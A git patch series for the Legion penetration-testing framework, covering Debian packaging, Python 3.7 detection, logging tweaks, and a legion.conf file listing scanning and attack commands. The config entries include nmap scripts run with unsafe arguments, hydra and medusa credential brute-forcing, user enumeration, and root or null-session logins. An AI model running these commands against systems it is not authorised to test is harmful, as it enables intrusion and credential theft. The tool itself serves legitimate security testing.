-smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp -snmpcheck=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/controller/controller.py b/controller/controller.py index 22efb107..a1b01ef2 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,12 +28,12 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551291663' + self.build = '1551751225' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '02/27/2019' + self.update = '03/04/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' diff --git a/debian/changelog b/debian/changelog new file mode 100644 index 00000000..05e5e058 --- /dev/null +++ b/debian/changelog @@ -0,0 +1,2 @@ + legion (3.4.0-1kali1) kali-dev; urgency=medium + * Packaged diff --git a/debian/control b/debian/control new file mode 100644 index 00000000..e4c493d6 --- /dev/null +++ b/debian/control @@ -0,0 +1,26 @@ +Source: legion +Section: misc +Priority: optional +Maintainer: GoVanguard +Uploaders: Shane Scott +Build-Depends: debhelper-compat (= 12), python, python-qt5, python-requests +Standards-Version: 4.3.0 +Homepage: https://github.com/GoVanguard/Legion + +Package: legion +Architecture: all +Depends: ${misc:Depends}, + python, + python-qt5, + python-impacket, + nmap, + hydra, + cutycapt, + ldap-utils, + rwho, + rsh-client, + x11-apps, + finger, + xsltproc, + nikto +Description: Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. diff --git a/debian/copyright b/debian/copyright new file mode 100644 index 00000000..c349a13f --- /dev/null +++ b/debian/copyright @@ -0,0 +1,86 @@ +Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ +Upstream-Name: legion +Source: https://github.com/GoVanguard/Legion + +Files: * +Copyright: 2018-2019 GoVanguard +License: GPL-3+ + +Files: scripts/rdp-sec-check.pl +Copyright: 2014 Mark lowe +License: Special + This tool may be used for legal purposes only. Users take full responsibility + for any actions performed using this tool. The author accepts no liability + for damage caused by this tool. If these terms are not acceptable to you, then + do not use this tool. + . + In all other respects the GPL version 2 applies: + . + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License version 2 as + published by the Free Software Foundation. + . + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + . + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + . + On Debian systems, the complete text of the GNU General + Public License version 2 can be found in "/usr/share/common-licenses/GPL-2". + +Files: scripts/ndr.py +Copyright: 2007 Cody Pierce +License: BSD-3-clause + All rights reserved. + . + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + . + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + . + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + . + 3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + . + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Files: debian/* +Copyright: 2018-2019 GoVanguard +License: GPL-3+ + +License: GPL-3+ + This package is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + . + This package is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + . + You should have received a copy of the GNU General Public License + along with this program. If not, see + . + On Debian systems, the complete text of the GNU General + Public License version 3 can be found in "/usr/share/common-licenses/GPL-3". diff --git a/debian/docs b/debian/docs new file mode 100644 index 00000000..b43bf86b --- /dev/null +++ b/debian/docs @@ -0,0 +1 @@ +README.md diff --git a/debian/legion.install b/debian/legion.install new file mode 100644 index 00000000..f108bd88 --- /dev/null +++ b/debian/legion.install @@ -0,0 +1,11 @@ +app usr/share/legion/ +controller usr/share/legion/ +db usr/share/legion/ +images usr/share/legion/ +parsers usr/share/legion/ +scripts usr/share/legion/ +legion.py usr/share/legion/ +ui usr/share/legion/ +wordlists usr/share/legion/ +legion usr/bin/ +legion.conf etc/ diff --git a/debian/legion.links b/debian/legion.links new file mode 100644 index 00000000..66d30b47 --- /dev/null +++ b/debian/legion.links @@ -0,0 +1 @@ +etc/legion.conf usr/share/legion/legion.conf diff --git a/debian/rules b/debian/rules new file mode 100644 index 00000000..15d943fa --- /dev/null +++ b/debian/rules @@ -0,0 +1,16 @@ +#!/usr/bin/make -f + +PACKAGE_DIR=debian/legion/usr/share/legion +%: + dh $@ + +override_dh_install: + PYTHONPATH=. python3 app/settings.py + dh_install -X.pyc + + +override_dh_fixperms: + dh_fixperms + chmod 755 debian/legion/usr/share/legion/scripts/* + chmod 755 debian/legion/usr/share/legion/deps/* + chmod 755 debian/legion/usr/share/legion/startLegion.sh diff --git a/debian/source/format b/debian/source/format new file mode 100644 index 00000000..163aaf8d --- /dev/null +++ b/debian/source/format @@ -0,0 +1 @@ +3.0 (quilt) diff --git a/debian/watch b/debian/watch new file mode 100644 index 00000000..2980909d --- /dev/null +++ b/debian/watch @@ -0,0 +1,3 @@ +version=3.4.0 +opts="filenamemangle=s/.*\/v(\d.*).tar.gz/legion-$1.tar.gz/" \ +https://github.com/GoVanguard/Legion/releases .*/v(\d.*)\.tar\.gz diff --git a/precommit.sh b/precommit.sh index 1372117f..8dfd55fa 100644 --- a/precommit.sh +++ b/precommit.sh @@ -16,3 +16,7 @@ touch .justcloned # Clear tmp rm -Rf ./tmp/* + +# Clear all pyc and pyc +find . -name \*.pyc -delete +find . -name \*.pyo -delete From 627d5ab22553a91ca14396fa2bf80deaaa441e43 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 4 Mar 2019 20:10:27 -0600 Subject: [PATCH 174/450] Update debian packaging files --- controller/controller.py | 2 +- debian/changelog | 7 +++++-- debian/control | 7 +++---- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index a1b01ef2..8c8fbf3c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551751225' + self.build = '1551751808' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/debian/changelog b/debian/changelog index 05e5e058..2eb72d15 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,2 +1,5 @@ - legion (3.4.0-1kali1) kali-dev; urgency=medium - * Packaged +legion (0.3.4-1) UNRELEASED; urgency=medium + + * Initial release. (Closes: #XXXXXX) + + -- Shane Scott Mon, 04 Mar 2019 20:02:55 -0600 diff --git a/debian/control b/debian/control index e4c493d6..e4dc6e49 100644 --- a/debian/control +++ b/debian/control @@ -3,16 +3,15 @@ Section: misc Priority: optional Maintainer: GoVanguard Uploaders: Shane Scott -Build-Depends: debhelper-compat (= 12), python, python-qt5, python-requests +Build-Depends: debhelper, python3, python3-pyqt5, python3-requests Standards-Version: 4.3.0 Homepage: https://github.com/GoVanguard/Legion Package: legion Architecture: all Depends: ${misc:Depends}, - python, - python-qt5, - python-impacket, + python3, + python3-pyqt5, nmap, hydra, cutycapt, From 5b7a72f452eb4295417db484d46c209837049e73 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 4 Mar 2019 20:13:38 -0600 Subject: [PATCH 175/450] Update debian packaging files --- debian/rules | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/debian/rules b/debian/rules index 15d943fa..05b0cfe6 100644 --- a/debian/rules +++ b/debian/rules @@ -2,15 +2,15 @@ PACKAGE_DIR=debian/legion/usr/share/legion %: - dh $@ + dh $@ override_dh_install: - PYTHONPATH=. python3 app/settings.py - dh_install -X.pyc + PYTHONPATH=. python3 app/settings.py + dh_install -X.pyc override_dh_fixperms: - dh_fixperms - chmod 755 debian/legion/usr/share/legion/scripts/* - chmod 755 debian/legion/usr/share/legion/deps/* - chmod 755 debian/legion/usr/share/legion/startLegion.sh + dh_fixperms + chmod 755 debian/legion/usr/share/legion/scripts/* + chmod 755 debian/legion/usr/share/legion/deps/* + chmod 755 debian/legion/usr/share/legion/startLegion.sh From a4ab3980e8716d6ebbddb6faf714786ff4f5323d Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 6 Mar 2019 10:16:10 -0500 Subject: [PATCH 176/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3cdf0050..af0bf398 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [product roadmap](https://govanguard.io/legion), can be found on it's product page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [oadmap](https://govanguard.io/legion), can be found on it's documentation page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From 928f30d6f0be7d5293480ec378040eb80fe730bc Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 6 Mar 2019 10:17:41 -0500 Subject: [PATCH 177/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index af0bf398..1e3af6f0 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ ## ABOUT Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. -[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [oadmap](https://govanguard.io/legion), can be found on it's documentation page at [https://GoVanguard.io/legion](https://govanguard.io/legion). +[Legion](https://govanguard.io/legion) is developed and maintained by [GoVanguard](https://govanguard.io). More information about Legion, including the [roadmap](https://govanguard.io/legion), can be found on it's project page at [https://GoVanguard.io/legion](https://govanguard.io/legion). ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer and more (with almost 100 auto-scheduled scripts) From 57aad6d49257ab61632ac470765c9ae071f0ef1a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 14:31:36 -0600 Subject: [PATCH 178/450] Initial tweaks to retest python 3.7 --- deps/detectPython.sh | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/deps/detectPython.sh b/deps/detectPython.sh index 80135849..4f80f67e 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -3,34 +3,40 @@ testForPython=`python --version 2>&1` testForPython2=`python3 --version 2>&1` testForPython3=`python3.6 --version 2>&1` +testForPython4=`python3.7 --version 2>&1` -if [[ $testForPython == *"3.6"* ]]; then +if [[ $testForPython == *"3.6"* ]] || [[ $testForPython == *"3.7"* ]]; then pythonBin='python' -elif [[ $testForPython2 == *"3.6"* ]]; then +elif [[ $testForPython2 == *"3.6"* ]] || [[ $testForPython2 == *"3.7"* ]]; then pythonBin='python3' elif [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then pythonBin='python3.6' +elif [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then + pythonBin='python3.7' else pythonBin='Missing' fi -#echo "Python 3.6 bin is ${pythonBin} ($(which ${pythonBin}))" +echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" testForPip=`pip --version 2>&1` testForPip2=`pip3 --version 2>&1` testForPip3=`pip3.6 --version 2>&1` +testForPip4=`pip3.7 --version 2>&1` -if [[ $testForPip == *"3.6"* ]]; then +if [[ $testForPip == *"3.6"* ]] || [[ $testForPip == *"3.7"* ]]; then pipBin='pip' -elif [[ $testForPip2 == *"3.6"* ]]; then +elif [[ $testForPip2 == *"3.6"* ]] || [[ $testForPip2 == *"3.7"* ]]; then pipBin='pip3' elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then pipBin='pip3.6' +elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.7' else pipBin='Missing' fi -#echo "Pip 3.6 bin is ${pipBin} ($(which ${pipBin}))" +echo "Pip 3 bin is ${pipBin} ($(which ${pipBin}))" export PYTHON3BIN=$(which ${pythonBin}) export PIP3BIN=$(which ${pipBin}) From c201ab124d4aeed48833831fc95a91bb4a94ee8d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 15:31:45 -0600 Subject: [PATCH 179/450] Add python3.7 support back, Silence some logging, Add some deps --- app/logic.py | 18 +- backup/20190306152952565589-legion.conf | 318 ++++++++++++++++++++++++ controller/controller.py | 4 +- deps/installDeps.sh | 2 +- deps/installPython36.sh | 28 +-- legion.conf | 2 +- legion.py | 2 +- requirements.txt | 2 +- 8 files changed, 347 insertions(+), 29 deletions(-) create mode 100644 backup/20190306152952565589-legion.conf diff --git a/app/logic.py b/app/logic.py index 0f417bf9..baf55968 100644 --- a/app/logic.py +++ b/app/logic.py @@ -715,9 +715,9 @@ def run(self): # it is nece session.commit() all_ports = h.all_ports() - #self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports - #self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) + self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates @@ -725,11 +725,11 @@ def run(self): # it is nece #db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() db_service = session.query(nmap_service).filter_by(name=s.name).first() if not db_service: - print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) + #print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = nmap_service(s.name, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) - else: - print("FOUND service *************** name={0}".format(db_service.name)) + # else: + #print("FOUND service *************** name={0}".format(db_service.name)) else: # else, there is no service info to parse db_service = None @@ -737,14 +737,14 @@ def run(self): # it is nece db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if not db_port: - print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) + #print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) if db_service: db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, db_service.id) else: db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) - else: - print('FOUND port *************** portid={0}'.format(db_port.port_id)) + #else: + #print('FOUND port *************** portid={0}'.format(db_port.port_id)) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress self.importProgressWidget.setProgress(totalprogress) @@ -843,7 +843,7 @@ def run(self): # it is nece # fetch the port db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() if db_port: - print("************************ Found {0}".format(db_port)) + #print("************************ Found {0}".format(db_port)) if db_port.state != p.state: db_port.state = p.state diff --git a/backup/20190306152952565589-legion.conf b/backup/20190306152952565589-legion.conf new file mode 100644 index 00000000..00d2c351 --- /dev/null +++ b/backup/20190306152952565589-legion.conf @@ -0,0 +1,318 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-detail=False + +[GeneralSettings] +default-terminal=gnome-terminal +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse 